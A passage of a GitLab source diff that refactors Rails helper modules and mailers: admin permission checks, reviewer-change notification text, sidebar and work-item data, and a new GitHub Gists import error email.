+++ b/app/helpers/application_settings_helper.rb
@@ -273,6 +273,7 @@ module ApplicationSettingsHelper
:housekeeping_full_repack_period,
:housekeeping_gc_period,
:housekeeping_incremental_repack_period,
+ :housekeeping_optimize_repository_period,
:html_emails_enabled,
:import_sources,
:in_product_marketing_emails_enabled,
@@ -447,7 +448,9 @@ module ApplicationSettingsHelper
:pipeline_limit_per_project_user_sha,
:invitation_flow_enforcement,
:can_create_group,
- :bulk_import_enabled
+ :bulk_import_enabled,
+ :allow_runner_registration_token,
+ :user_defaults_to_private_profile
].tap do |settings|
next if Gitlab.com?
diff --git a/app/helpers/broadcast_messages_helper.rb b/app/helpers/broadcast_messages_helper.rb
index 9827f075e54..01d28ed3221 100644
--- a/app/helpers/broadcast_messages_helper.rb
+++ b/app/helpers/broadcast_messages_helper.rb
@@ -50,14 +50,6 @@ module BroadcastMessagesHelper
end
end
- def broadcast_type_options
- BroadcastMessage.broadcast_types.keys.map { |w| [w.humanize, w] }
- end
-
- def broadcast_theme_options
- BroadcastMessage.themes.keys
- end
-
def target_access_level_options
BroadcastMessage::ALLOWED_TARGET_ACCESS_LEVELS.map do |access_level|
[Gitlab::Access.human_access(access_level), access_level]
diff --git a/app/helpers/button_helper.rb b/app/helpers/button_helper.rb
index c47aef24367..64d6ba155cd 100644
--- a/app/helpers/button_helper.rb
+++ b/app/helpers/button_helper.rb
@@ -20,8 +20,8 @@ module ButtonHelper
#
# See http://clipboardjs.com/#usage
def clipboard_button(data = {})
- css_class = data[:class] || 'btn-clipboard gl-button btn-default-tertiary btn-icon btn-sm'
- title = data[:title] || _('Copy')
+ css_class = data.delete(:class) || 'btn-clipboard gl-button btn-default-tertiary btn-icon btn-sm'
+ title = data.delete(:title) || _('Copy')
button_text = data[:button_text] || nil
hide_tooltip = data[:hide_tooltip] || false
hide_button_icon = data[:hide_button_icon] || false
diff --git a/app/helpers/ci/runners_helper.rb b/app/helpers/ci/runners_helper.rb
index 8df30ee1f0d..ac36c867baf 100644
--- a/app/helpers/ci/runners_helper.rb
+++ b/app/helpers/ci/runners_helper.rb
@@ -78,7 +78,7 @@ module Ci
parent_shared_runners_setting: group.parent&.shared_runners_setting,
runner_enabled_value: Namespace::SR_ENABLED,
runner_disabled_value: Namespace::SR_DISABLED_AND_UNOVERRIDABLE,
- runner_allow_override_value: Namespace::SR_DISABLED_WITH_OVERRIDE
+ runner_allow_override_value: Namespace::SR_DISABLED_AND_OVERRIDABLE
}
end
diff --git a/app/helpers/emails_helper.rb b/app/helpers/emails_helper.rb
index cad39854c0e..f6de405cecb 100644
--- a/app/helpers/emails_helper.rb
+++ b/app/helpers/emails_helper.rb
@@ -284,23 +284,38 @@ module EmailsHelper
end
def change_reviewer_notification_text(new_reviewers, previous_reviewers, html_tag = nil)
- new = new_reviewers.any? ? users_to_sentence(new_reviewers) : s_('ChangeReviewer|Unassigned')
- old = previous_reviewers.any? ? users_to_sentence(previous_reviewers) : nil
+ if new_reviewers.empty?
+ s_('ChangeReviewer|All reviewers were removed.')
+ else
+ added_reviewers = new_reviewers - previous_reviewers
+ removed_reviewers = previous_reviewers - new_reviewers
- if html_tag.present?
- new = content_tag(html_tag, new)
- old = content_tag(html_tag, old) if old.present?
- end
+ added_reviewers_template_text = added_reviewers.size > 1 ? "were added as reviewers.<br>" : "was added as a reviewer.<br>"
+ removed_reviewers_template_text = removed_reviewers.size > 1 ? "were removed from reviewers." : "was removed from reviewers."
- if old.present?
- s_('ChangeReviewer|Reviewer changed from %{old} to %{new}').html_safe % { old: old, new: new }
- else
- s_('ChangeReviewer|Reviewer changed to %{new}').html_safe % { new: new }
+ added = format_reviewers_string(added_reviewers, html_tag)
+ removed = format_reviewers_string(removed_reviewers, html_tag)
+
+ added_reviewers_text = added ? "#{added} #{added_reviewers_template_text}".html_safe : ''
+ removed_reviewers_text = removed ? "#{removed} #{removed_reviewers_template_text}".html_safe : ''
+ s_('ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}').html_safe % { added_reviewers_text: added_reviewers_text, removed_reviewers_text: removed_reviewers_text }
end
end
private
+ def format_reviewers_string(reviewers, html_tag = nil)
+ return unless reviewers.any?
+
+ formatted_reviewers = users_to_sentence(reviewers)
+
+ if html_tag.present?
+ content_tag(html_tag, formatted_reviewers)
+ else
+ formatted_reviewers
+ end
+ end
+
def users_to_sentence(users)
sanitize_name(users.map(&:name).to_sentence)
end
diff --git a/app/helpers/environment_helper.rb b/app/helpers/environment_helper.rb
index 0e64a98c9da..2b3700a9f21 100644
--- a/app/helpers/environment_helper.rb
+++ b/app/helpers/environment_helper.rb
@@ -58,8 +58,9 @@ module EnvironmentHelper
s_('Deployment|blocked')
end
- klass = "ci-status ci-#{status.dasherize}"
- text = "#{ci_icon_for_status(status)} #{status_text}".html_safe
+ ci_icon_utilities = "gl-display-inline-flex gl-align-items-center gl-line-height-0 gl-px-3 gl-py-2 gl-rounded-base"
+ klass = "ci-status ci-#{status.dasherize} #{ci_icon_utilities}"
+ text = "#{ci_icon_for_status(status)} <span class=\"gl-ml-2\">#{status_text}</span>".html_safe
if deployment.deployable
link_to(text, deployment_path(deployment), class: klass)
diff --git a/app/helpers/feature_flags_helper.rb b/app/helpers/feature_flags_helper.rb
index e12c6c605d2..3dde29dce91 100644
--- a/app/helpers/feature_flags_helper.rb
+++ b/app/helpers/feature_flags_helper.rb
@@ -18,7 +18,8 @@ module FeatureFlagsHelper
feature_flags_path: project_feature_flags_path(@project),
environments_endpoint: search_project_environments_path(@project, format: :json),
strategy_type_docs_page_path: help_page_path('operations/feature_flags', anchor: 'feature-flag-strategies'),
- environments_scope_docs_path: help_page_path('ci/environments/index.md', anchor: 'scope-environments-with-specs')
+ environments_scope_docs_path: help_page_path('ci/environments/index.md',
+ anchor: 'limit-the-environment-scope-of-a-cicd-variable')
}
end
end
diff --git a/app/helpers/form_helper.rb b/app/helpers/form_helper.rb
index 963f0b7afc4..8f0d01c7d6d 100644
--- a/app/helpers/form_helper.rb
+++ b/app/helpers/form_helper.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module FormHelper
- def form_errors(model, type: 'form', truncate: [])
+ def form_errors(model, type: 'form', truncate: [], custom_message: [])
errors = model.errors
return unless errors.any?
@@ -16,9 +16,15 @@ module FormHelper
messages = errors.map do |error|
attribute = error.attribute
- message = error.message
- message = html_escape_once(errors.full_message(attribute, message)).html_safe
+ message = errors.full_message(attribute, error.message)
+
+ # When error message is custom and does not follow the default pattern
+ # "<attribute name> <error message>" (e.g. "You have already reported this
+ # user"), use the message as-is
+ message = error.message if custom_message.include?(attribute)
+
+ message = html_escape_once(message).html_safe
message = tag.span(message, class: 'str-truncated-100') if truncate.include?(attribute)
message = append_help_page_link(message, error.options) if error.options[:help_page_url].present?
diff --git a/app/helpers/graph_helper.rb b/app/helpers/graph_helper.rb
index 788002f126d..ab72442857b 100644
--- a/app/helpers/graph_helper.rb
+++ b/app/helpers/graph_helper.rb
@@ -14,7 +14,7 @@ module GraphHelper
end
def parents_zip_spaces(parents, parent_spaces)
- ids = parents.map { |p| p.id }
+ ids = parents.map(&:id)
ids.zip(parent_spaces)
end
diff --git a/app/helpers/groups/group_members_helper.rb b/app/helpers/groups/group_members_helper.rb
index 5034a4cb9b4..60011e31d43 100644
--- a/app/helpers/groups/group_members_helper.rb
+++ b/app/helpers/groups/group_members_helper.rb
@@ -13,7 +13,9 @@ module Groups::GroupMembersHelper
access_request: group_members_list_data(group, access_requests.nil? ? [] : access_requests),
source_id: group.id,
can_manage_members: can?(current_user, :admin_group_member, group),
- can_manage_access_requests: can?(current_user, :admin_member_access_request, group)
+ can_manage_access_requests: can?(current_user, :admin_member_access_request, group),
+ group_name: group.name,
+ group_path: group.full_path
}
end
diff --git a/app/helpers/groups/observability_helper.rb b/app/helpers/groups/observability_helper.rb
index 26caac4ce7f..6cd6566cee1 100644
--- a/app/helpers/groups/observability_helper.rb
+++ b/app/helpers/groups/observability_helper.rb
@@ -5,15 +5,19 @@ module Groups
ACTION_TO_PATH = {
'dashboards' => {
path: '/',
- title: -> { _('Dashboards') }
+ title: -> { s_('Observability|Dashboards') }
},
'manage' => {
path: '/dashboards',
- title: -> { _('Manage Dashboards') }
+ title: -> { s_('Observability|Manage dashboards') }
},
'explore' => {
path: '/explore',
- title: -> { _('Explore') }
+ title: -> { s_('Observability|Explore telemetry data') }
+ },
+ 'datasources' => {
+ path: '/datasources',
+ title: -> { s_('Observability|Data sources') }
}
}.freeze
diff --git a/app/helpers/import_helper.rb b/app/helpers/import_helper.rb
index 329bbb5ad82..81b881592d0 100644
--- a/app/helpers/import_helper.rb
+++ b/app/helpers/import_helper.rb
@@ -62,7 +62,7 @@ module ImportHelper
def import_configure_github_admin_message
github_integration_link = link_to 'GitHub integration', help_page_path('integration/github')
- if current_user.admin?
+ if current_user.can_admin_all_resources?
_('Note: As an administrator you may like to configure %{github_integration_link}, which will allow login via GitHub and allow importing repositories without generating a Personal Access Token.').html_safe % { github_integration_link: github_integration_link }
else
_('Note: Consider asking your GitLab administrator to configure %{github_integration_link}, which will allow login via GitHub and allow importing repositories without generating a Personal Access Token.').html_safe % { github_integration_link: github_integration_link }
diff --git a/app/helpers/integrations_helper.rb b/app/helpers/integrations_helper.rb
index 0650af33e37..5471109e6d5 100644
--- a/app/helpers/integrations_helper.rb
+++ b/app/helpers/integrations_helper.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
module IntegrationsHelper
+ # rubocop:disable Metrics/CyclomaticComplexity
def integration_event_title(event)
case event
when "push", "push_events"
@@ -27,8 +28,11 @@ module IntegrationsHelper
_("Deployment")
when "alert"
_("Alert")
+ when "incident"
+ _("Incident")
end
end
+ # rubocop:enable Metrics/CyclomaticComplexity
def integration_event_description(integration, event)
case integration
@@ -230,6 +234,7 @@ module IntegrationsHelper
end
end
+ # rubocop:disable Metrics/CyclomaticComplexity
def default_integration_event_description(event)
case event
when "push", "push_events"
@@ -256,8 +261,11 @@ module IntegrationsHelper
s_("ProjectService|Trigger event when a deployment starts or finishes.")
when "alert"
s_("ProjectService|Trigger event when a new, unique alert is recorded.")
+ when "incident"
+ s_("ProjectService|Trigger event when an incident is created.")
end
end
+ # rubocop:enable Metrics/CyclomaticComplexity
def trigger_events_for_integration(integration)
Integrations::EventSerializer.new(integration: integration).represent(integration.configurable_events).to_json
diff --git a/app/helpers/issuables_helper.rb b/app/helpers/issuables_helper.rb
index 2b21d8c51e6..fb407aa7eed 100644
--- a/app/helpers/issuables_helper.rb
+++ b/app/helpers/issuables_helper.rb
@@ -207,14 +207,10 @@ module IssuablesHelper
def assigned_issuables_count(issuable_type)
case issuable_type
when :issues
- if Feature.enabled?(:limit_assigned_issues_count)
- ::Users::AssignedIssuesCountService.new(
- current_user: current_user,
- max_limit: User::MAX_LIMIT_FOR_ASSIGNEED_ISSUES_COUNT
- ).count
- else
- current_user.assigned_open_issues_count
- end
+ ::Users::AssignedIssuesCountService.new(
+ current_user: current_user,
+ max_limit: User::MAX_LIMIT_FOR_ASSIGNEED_ISSUES_COUNT
+ ).count
when :merge_requests
current_user.assigned_open_merge_requests_count
else
@@ -225,7 +221,7 @@ module IssuablesHelper
def assigned_open_issues_count_text
count = assigned_issuables_count(:issues)
- if Feature.enabled?(:limit_assigned_issues_count) && count > User::MAX_LIMIT_FOR_ASSIGNEED_ISSUES_COUNT - 1
+ if count > User::MAX_LIMIT_FOR_ASSIGNEED_ISSUES_COUNT - 1
"#{count - 1}+"
else
count.to_s
@@ -372,6 +368,14 @@ module IssuablesHelper
end
end
+ def hidden_issuable_icon(issuable)
+ title = format(_('This %{issuable} is hidden because its author has been banned'),
+ issuable: issuable.is_a?(Issue) ? _('issue') : _('merge request'))
+ content_tag(:span, class: 'has-tooltip', title: title) do
+ sprite_icon('spam', css_class: 'gl-vertical-align-text-bottom')
+ end
+ end
+
private
def sidebar_gutter_collapsed?
diff --git a/app/helpers/issues_helper.rb b/app/helpers/issues_helper.rb
index 1d68dccc741..362f1e65425 100644
--- a/app/helpers/issues_helper.rb
+++ b/app/helpers/issues_helper.rb
@@ -35,20 +35,6 @@ module IssuesHelper
end
end
- def status_box_class(item)
- if item.try(:expired?)
- 'gl-bg-orange-500'
- elsif item.try(:merged?)
- 'badge-info'
- elsif item.closed?
- item.is_a?(MergeRequest) ? 'badge-danger' : 'gl-bg-red-500'
- elsif item.try(:upcoming?)
- 'gl-bg-gray-500'
- else
- item.is_a?(MergeRequest) ? 'badge-success' : 'gl-bg-green-500'
- end
- end
-
def issue_status_visibility(issue, status_box:)
case status_box
when :open
@@ -77,9 +63,7 @@ module IssuesHelper
def hidden_issue_icon(issue)
return unless issue_hidden?(issue)
- content_tag(:span, class: 'has-tooltip', title: _('This issue is hidden because its author has been banned')) do
- sprite_icon('spam', css_class: 'gl-vertical-align-text-bottom')
- end
+ hidden_issuable_icon(issue)
end
def award_user_list(awards, current_user, limit: 10)
@@ -197,7 +181,9 @@ module IssuesHelper
issue_type: issuable_display_type(issuable),
new_issue_path: new_project_issue_path(project, new_issuable_params),
project_path: project.full_path,
- report_abuse_path: new_abuse_report_path(user_id: issuable.author.id, ref_url: issue_url(issuable)),
+ report_abuse_path: add_category_abuse_reports_path,
+ reported_user_id: issuable.author.id,
+ reported_from_url: issue_url(issuable),
submit_as_spam_path: mark_as_spam_project_issue_path(project, issuable)
}
end
@@ -258,8 +244,12 @@ module IssuesHelper
def dashboard_issues_list_data(current_user)
{
+ autocomplete_award_emojis_path: autocomplete_award_emojis_path,
calendar_path: url_for(safe_params.merge(calendar_url_options)),
- empty_state_svg_path: image_path('illustrations/issue-dashboard_results-without-filter.svg'),
+ dashboard_labels_path: dashboard_labels_path(format: :json, include_ancestor_groups: true),
+ dashboard_milestones_path: dashboard_milestones_path(format: :json),
+ empty_state_with_filter_svg_path: image_path('illustrations/issues.svg'),
+ empty_state_without_filter_svg_path: image_path('illustrations/issue-dashboard_results-without-filter.svg'),
initial_sort: current_user&.user_preference&.issues_sort,
is_public_visibility_restricted:
Gitlab::CurrentSettings.restricted_visibility_levels&.include?(Gitlab::VisibilityLevel::PUBLIC).to_s,
diff --git a/app/helpers/markup_helper.rb b/app/helpers/markup_helper.rb
index ed9129ff78b..4a5720e757d 100644
--- a/app/helpers/markup_helper.rb
+++ b/app/helpers/markup_helper.rb
@@ -63,17 +63,8 @@ module MarkupHelper
md = markdown_field(object, attribute, options.merge(post_process: false))
return unless md.present?
- includes_code = false
-
tags = %w(a gl-emoji b strong i em pre code p span)
- if is_todo
- fragment = Nokogiri::HTML.fragment(md)
- includes_code = fragment.css('code').any?
-
- md = fragment
- end
-
context = markdown_field_render_context(object, attribute, options)
context.reverse_merge!(truncate_visible_max_chars: max_chars || md.length)
@@ -89,12 +80,6 @@ module MarkupHelper
)
)
- # Extra span with relative positioning relative due to system font being behind
- # background color when username is first word of mention
- if is_todo && !includes_code
- text = "<span class=\"gl-relative\">\"</span>#{text}<span class=\"gl-relative\">\"</span>"
- end
-
# since <img> tags are stripped, this can leave empty <a> tags hanging around
# (as our markdown wraps images in links)
strip_empty_link_tags(text).html_safe
diff --git a/app/helpers/merge_requests_helper.rb b/app/helpers/merge_requests_helper.rb
index 1d7d812dc5d..ec395baef9e 100644
--- a/app/helpers/merge_requests_helper.rb
+++ b/app/helpers/merge_requests_helper.rb
@@ -276,6 +276,12 @@ module MergeRequestsHelper
data
end
+
+ def hidden_merge_request_icon(merge_request)
+ return unless merge_request.hidden?
+
+ hidden_issuable_icon(merge_request)
+ end
end
MergeRequestsHelper.prepend_mod_with('MergeRequestsHelper')
diff --git a/app/helpers/nav_helper.rb b/app/helpers/nav_helper.rb
index bf3b132e33a..d0421cd5184 100644
--- a/app/helpers/nav_helper.rb
+++ b/app/helpers/nav_helper.rb
@@ -65,6 +65,10 @@ module NavHelper
%w(dev_ops_report usage_trends)
end
+ def show_super_sidebar?
+ Feature.enabled?(:super_sidebar_nav, current_user) && current_user&.use_new_navigation
+ end
+
private
def get_header_links
diff --git a/app/helpers/preferences_helper.rb b/app/helpers/preferences_helper.rb
index f2b7c0064e4..88e68a52199 100644
--- a/app/helpers/preferences_helper.rb
+++ b/app/helpers/preferences_helper.rb
@@ -17,8 +17,11 @@ module PreferencesHelper
dashboards -= excluded_dashboard_choices
dashboards.map do |key|
- # Use `fetch` so `KeyError` gets raised when a key is missing
- [localized_dashboard_choices.fetch(key), key]
+ {
+ # Use `fetch` so `KeyError` gets raised when a key is missing
+ text: localized_dashboard_choices.fetch(key),
+ value: key
+ }
end
end
@@ -99,10 +102,12 @@ module PreferencesHelper
end
def language_choices
- options_for_select(
- selectable_locales_with_translation_level(Gitlab::I18n::MINIMUM_TRANSLATION_LEVEL).sort,
- current_user.preferred_language
- )
+ selectable_locales_with_translation_level(Gitlab::I18n::MINIMUM_TRANSLATION_LEVEL).sort.map do |lang, key|
+ {
+ text: lang,
+ value: key
+ }
+ end
end
def default_preferred_language_choices
diff --git a/app/helpers/projects/ml/experiments_helper.rb b/app/helpers/projects/ml/experiments_helper.rb
index a67484e3d2f..b9a219b3021 100644
--- a/app/helpers/projects/ml/experiments_helper.rb
+++ b/app/helpers/projects/ml/experiments_helper.rb
@@ -11,7 +11,10 @@ module Projects
**candidate.params.to_h { |p| [p.name, p.value] },
**candidate.latest_metrics.to_h { |m| [m.name, number_with_precision(m.value, precision: 4)] },
artifact: link_to_artifact(candidate),
- details: link_to_details(candidate)
+ details: link_to_details(candidate),
+ name: candidate.name,
+ created_at: candidate.created_at,
+ user: user_info(candidate)
}
end
@@ -32,7 +35,8 @@ module Projects
experiment_name: candidate.experiment.name,
path_to_experiment: link_to_experiment(candidate),
status: candidate.status
- }
+ },
+ metadata: candidate.metadata
}
Gitlab::Json.generate(data)
@@ -45,11 +49,11 @@ module Projects
return unless artifact.present?
- project_package_path(candidate.experiment.project, artifact)
+ project_package_path(candidate.project, artifact)
end
def link_to_details(candidate)
- project_ml_candidate_path(candidate.experiment.project, candidate.iid)
+ project_ml_candidate_path(candidate.project, candidate.iid)
end
def link_to_experiment(candidate)
@@ -57,6 +61,17 @@ module Projects
project_ml_experiment_path(experiment.project, experiment.iid)
end
+
+ def user_info(candidate)
+ user = candidate.user
+
+ return unless user.present?
+
+ {
+ username: user.username,
+ path: user_path(user)
+ }
+ end
end
end
end
diff --git a/app/helpers/projects/project_members_helper.rb b/app/helpers/projects/project_members_helper.rb
index 6026124abb9..634f6e8ba59 100644
--- a/app/helpers/projects/project_members_helper.rb
+++ b/app/helpers/projects/project_members_helper.rb
@@ -9,7 +9,9 @@ module Projects::ProjectMembersHelper
access_request: project_members_list_data(project, access_requests.nil? ? [] : access_requests),
source_id: project.id,
can_manage_members: Ability.allowed?(current_user, :admin_project_member, project),
- can_manage_access_requests: Ability.allowed?(current_user, :admin_member_access_request, project)
+ can_manage_access_requests: Ability.allowed?(current_user, :admin_member_access_request, project),
+ group_name: project.group&.name,
+ group_path: project.group&.full_path
}.to_json
end
diff --git a/app/helpers/projects_helper.rb b/app/helpers/projects_helper.rb
index 682febe9dc9..507e05b9967 100644
--- a/app/helpers/projects_helper.rb
+++ b/app/helpers/projects_helper.rb
@@ -479,32 +479,6 @@ module ProjectsHelper
format_cached_count(1000, number)
end
- def fork_divergence_message(counts)
- messages = []
-
- if counts[:behind].nil? || counts[:ahead].nil?
- return s_('ForksDivergence|Fork has diverged from upstream repository')
- end
-
- if counts[:behind] > 0
- messages << s_("ForksDivergence|%{behind} %{commit_word} behind") % {
- behind: counts[:behind], commit_word: n_('commit', 'commits', counts[:behind])
- }
- end
-
- if counts[:ahead] > 0
- messages << s_("ForksDivergence|%{ahead} %{commit_word} ahead of") % {
- ahead: counts[:ahead], commit_word: n_('commit', 'commits', counts[:ahead])
- }
- end
-
- if messages.blank?
- s_('ForksDivergence|Up to date with upstream repository')
- else
- s_("ForksDivergence|%{messages} upstream repository") % { messages: messages.join(', ') }
- end
- end
-
private
def localized_access_names
@@ -520,7 +494,7 @@ module ProjectsHelper
end
def configure_oauth_import_message(provider, help_url)
- str = if current_user.admin?
+ str = if current_user.can_admin_all_resources?
'ImportProjects|To enable importing projects from %{provider}, as administrator you need to configure %{link_start}OAuth integration%{link_end}'
else
'ImportProjects|To enable importing projects from %{provider}, ask your GitLab administrator to configure %{link_start}OAuth integration%{link_end}'
@@ -658,7 +632,7 @@ module ProjectsHelper
end
def restricted_levels
- return [] if current_user.admin?
+ return [] if current_user.can_admin_all_resources?
Gitlab::CurrentSettings.restricted_visibility_levels || []
end
diff --git a/app/helpers/protected_branches_helper.rb b/app/helpers/protected_branches_helper.rb
new file mode 100644
index 00000000000..07b07bfd33c
--- /dev/null
+++ b/app/helpers/protected_branches_helper.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module ProtectedBranchesHelper
+ def protected_branch_can_admin_entity?(protected_branch_entity)
+ if protected_branch_entity.is_a?(Group)
+ can?(current_user, :admin_group, protected_branch_entity)
+ else
+ can?(current_user, :admin_project, protected_branch_entity)
+ end
+ end
+
+ def protected_branch_path_by_entity(protected_branch, protected_branch_entity)
+ if protected_branch_entity.is_a?(Group)
+ group_protected_branch_path(protected_branch_entity, protected_branch)
+ else
+ project_protected_branch_path(protected_branch_entity, protected_branch)
+ end
+ end
+end
diff --git a/app/helpers/search_helper.rb b/app/helpers/search_helper.rb
index e03365ad5f1..ca5436ff019 100644
--- a/app/helpers/search_helper.rb
+++ b/app/helpers/search_helper.rb
@@ -49,7 +49,7 @@ module SearchHelper
search_pattern = Regexp.new(Regexp.escape(term), "i")
generic_results = project_autocomplete + default_autocomplete + help_autocomplete
- generic_results.concat(default_autocomplete_admin) if current_user.admin?
+ generic_results.concat(default_autocomplete_admin) if current_user.can_read_all_resources?
generic_results.select { |result| result[:label] =~ search_pattern }
end
diff --git a/app/helpers/selects_helper.rb b/app/helpers/selects_helper.rb
index 99da9a7af6c..7ee40c28bad 100644
--- a/app/helpers/selects_helper.rb
+++ b/app/helpers/selects_helper.rb
@@ -1,20 +1,6 @@
# frozen_string_literal: true
module SelectsHelper
- def groups_select_tag(id, opts = {})
- classes = Array.wrap(opts[:class])
- classes << 'ajax-groups-select'
-
- # EE requires this line to be present, but there is no easy way of injecting
- # this into EE without causing merge conflicts. Given this line is very
- # simple and not really EE specific on its own, we just include it in CE.
- classes << 'multiselect' if opts[:multiple]
-
- opts[:class] = classes.join(' ')
-
- select2_tag(id, opts)
- end
-
def project_select_tag(id, opts = {})
opts[:class] = [*opts[:class], 'ajax-project-select'].join(' ')
diff --git a/app/helpers/sidebars_helper.rb b/app/helpers/sidebars_helper.rb
index cbee02a28c0..f6257c92f3f 100644
--- a/app/helpers/sidebars_helper.rb
+++ b/app/helpers/sidebars_helper.rb
@@ -31,6 +31,18 @@ module SidebarsHelper
Sidebars::Groups::Context.new(**context_data)
end
+ def super_sidebar_context(user)
+ {
+ name: user.name,
+ username: user.username,
+ avatar_url: user.avatar_url,
+ assigned_open_issues_count: user.assigned_open_issues_count,
+ assigned_open_merge_requests_count: user.assigned_open_merge_requests_count,
+ todos_pending_count: user.todos_pending_count,
+ issues_dashboard_path: issues_dashboard_path(assignee_username: user.username)
+ }
+ end
+
private
def sidebar_attributes_for_object(object)
diff --git a/app/helpers/timeboxes_helper.rb b/app/helpers/timeboxes_helper.rb
index 307f03e0d64..66c9011fbcc 100644
--- a/app/helpers/timeboxes_helper.rb
+++ b/app/helpers/timeboxes_helper.rb
@@ -8,7 +8,7 @@ module TimeboxesHelper
if milestone.closed?
_('Closed')
elsif milestone.expired?
- _('Past due')
+ _('Expired')
elsif milestone.upcoming?
_('Upcoming')
else
@@ -16,6 +16,18 @@ module TimeboxesHelper
end
end
+ def milestone_badge_variant(milestone)
+ if milestone.closed?
+ :danger
+ elsif milestone.expired?
+ :warning
+ elsif milestone.upcoming?
+ :neutral
+ else
+ :success
+ end
+ end
+
def milestones_filter_path(opts = {})
if @project
project_milestones_path(@project, opts)
diff --git a/app/helpers/todos_helper.rb b/app/helpers/todos_helper.rb
index d7c4540544b..daaf86e55a0 100644
--- a/app/helpers/todos_helper.rb
+++ b/app/helpers/todos_helper.rb
@@ -28,7 +28,7 @@ module TodosHelper
when Todo::UNMERGEABLE then s_('Todos|Could not merge')
when Todo::MERGE_TRAIN_REMOVED then s_("Todos|Removed from Merge Train")
when Todo::MEMBER_ACCESS_REQUESTED then format(
- s_("Todos|has requested access to group %{which}"), which: _(todo.target.name)
+ s_("Todos|has requested access to %{what} %{which}"), what: _(todo.member_access_type), which: _(todo.target.name)
)
end
end
@@ -99,7 +99,7 @@ module TodosHelper
path_options[:only_path] = true
Gitlab::UrlBuilder.build(todo.target, **path_options)
elsif todo.member_access_requested?
- todo.access_request_url
+ todo.access_request_url(only_path: true)
else
path = [todo.resource_parent, todo.target]
diff --git a/app/helpers/url_helper.rb b/app/helpers/url_helper.rb
new file mode 100644
index 00000000000..9083ca4e8dd
--- /dev/null
+++ b/app/helpers/url_helper.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module UrlHelper
+ def escaped_url(url)
+ return unless url
+
+ Addressable::URI.escape(url)
+ rescue Addressable::URI::InvalidURIError
+ nil
+ end
+end
diff --git a/app/helpers/users/callouts_helper.rb b/app/helpers/users/callouts_helper.rb
index a9fd219bbac..6ab78b58457 100644
--- a/app/helpers/users/callouts_helper.rb
+++ b/app/helpers/users/callouts_helper.rb
@@ -49,7 +49,7 @@ module Users
def show_registration_enabled_user_callout?
!Gitlab.com? &&
- current_user&.admin? &&
+ current_user&.can_admin_all_resources? &&
signup_enabled? &&
!user_dismissed?(REGISTRATION_ENABLED_CALLOUT) &&
REGISTRATION_ENABLED_CALLOUT_ALLOWED_CONTROLLER_PATHS.any? { |path| controller.controller_path.match?(path) }
@@ -59,7 +59,7 @@ module Users
end
def show_security_newsletter_user_callout?
- current_user&.admin? &&
+ current_user&.can_admin_all_resources? &&
!user_dismissed?(SECURITY_NEWSLETTER_CALLOUT)
end
diff --git a/app/helpers/users_helper.rb b/app/helpers/users_helper.rb
index 4f345fdeb9c..a382b5e7b74 100644
--- a/app/helpers/users_helper.rb
+++ b/app/helpers/users_helper.rb
@@ -93,7 +93,7 @@ module UsersHelper
def user_badges_in_admin_section(user)
[].tap do |badges|
badges << blocked_user_badge(user) if user.blocked?
- badges << { text: s_('AdminUsers|Admin'), variant: 'success' } if user.admin?
+ badges << { text: s_('AdminUsers|Admin'), variant: 'success' } if user.admin? # rubocop:disable Cop/UserAdmin
badges << { text: s_('AdminUsers|Bot'), variant: 'muted' } if user.bot?
badges << { text: s_('AdminUsers|External'), variant: 'secondary' } if user.external?
badges << { text: s_("AdminUsers|It's you!"), variant: 'muted' } if current_user == user
diff --git a/app/helpers/version_check_helper.rb b/app/helpers/version_check_helper.rb
index 0bb92dfd118..4bd89a3d4e2 100644
--- a/app/helpers/version_check_helper.rb
+++ b/app/helpers/version_check_helper.rb
@@ -18,7 +18,7 @@ module VersionCheckHelper
strong_memoize_attr :gitlab_version_check
def show_security_patch_upgrade_alert?
- return false unless show_version_check? && gitlab_version_check
+ return false unless Feature.enabled?(:critical_security_alert) && show_version_check? && gitlab_version_check
gitlab_version_check['severity'] === SECURITY_ALERT_SEVERITY
end
diff --git a/app/helpers/visibility_level_helper.rb b/app/helpers/visibility_level_helper.rb
index 1baeeda0ef7..5ed341ee5e5 100644
--- a/app/helpers/visibility_level_helper.rb
+++ b/app/helpers/visibility_level_helper.rb
@@ -39,7 +39,7 @@ module VisibilityLevelHelper
end
def restricted_visibility_levels(show_all = false)
- return [] if current_user.admin? && !show_all
+ return [] if current_user.can_admin_all_resources? && !show_all
Gitlab::CurrentSettings.restricted_visibility_levels || []
end
diff --git a/app/helpers/work_items_helper.rb b/app/helpers/work_items_helper.rb
index 2c61fc20ca8..efa9a2bd463 100644
--- a/app/helpers/work_items_helper.rb
+++ b/app/helpers/work_items_helper.rb
@@ -4,7 +4,9 @@ module WorkItemsHelper
def work_items_index_data(project)
{
full_path: project.full_path,
- issues_list_path: project_issues_path(project)
+ issues_list_path: project_issues_path(project),
+ register_path: new_user_registration_path(redirect_to_referer: 'yes'),
+ sign_in_path: new_session_path(:user, redirect_to_referer: 'yes')
}
end
end
diff --git a/app/mailers/devise_mailer.rb b/app/mailers/devise_mailer.rb
index 61a23520d54..7129e577cb8 100644
--- a/app/mailers/devise_mailer.rb
+++ b/app/mailers/devise_mailer.rb
@@ -17,6 +17,11 @@ class DeviseMailer < Devise::Mailer
devise_mail(record, :user_admin_approval, opts)
end
+ def reset_password_instructions(record, token, opts = {})
+ headers['X-Mailgun-Suppressions-Bypass'] = 'true'
+ super
+ end
+
protected
def subject_for(key)
diff --git a/app/mailers/emails/imports.rb b/app/mailers/emails/imports.rb
new file mode 100644
index 00000000000..d3e8b90d686
--- /dev/null
+++ b/app/mailers/emails/imports.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Emails
+ module Imports
+ def github_gists_import_errors_email(user_id, errors)
+ @errors = errors
+ user = User.find(user_id)
+
+ email_with_layout(
+ to: user.notification_email_or_default,
+ subject: subject(s_('GithubImporter|GitHub Gists import finished with errors'))
+ )
+ end
+ end
+end
diff --git a/app/mailers/emails/profile.rb b/app/mailers/emails/profile.rb
index ede6007e0e2..5b1750400d8 100644
--- a/app/mailers/emails/profile.rb
+++ b/app/mailers/emails/profile.rb
@@ -83,14 +83,15 @@ module Emails
end
end
- def access_token_expired_email(user)
+ def access_token_expired_email(user, token_names = [])
return unless user && user.active?
@user = user
+ @token_names = token_names
@target_url = profile_personal_access_tokens_url
Gitlab::I18n.with_locale(@user.preferred_language) do
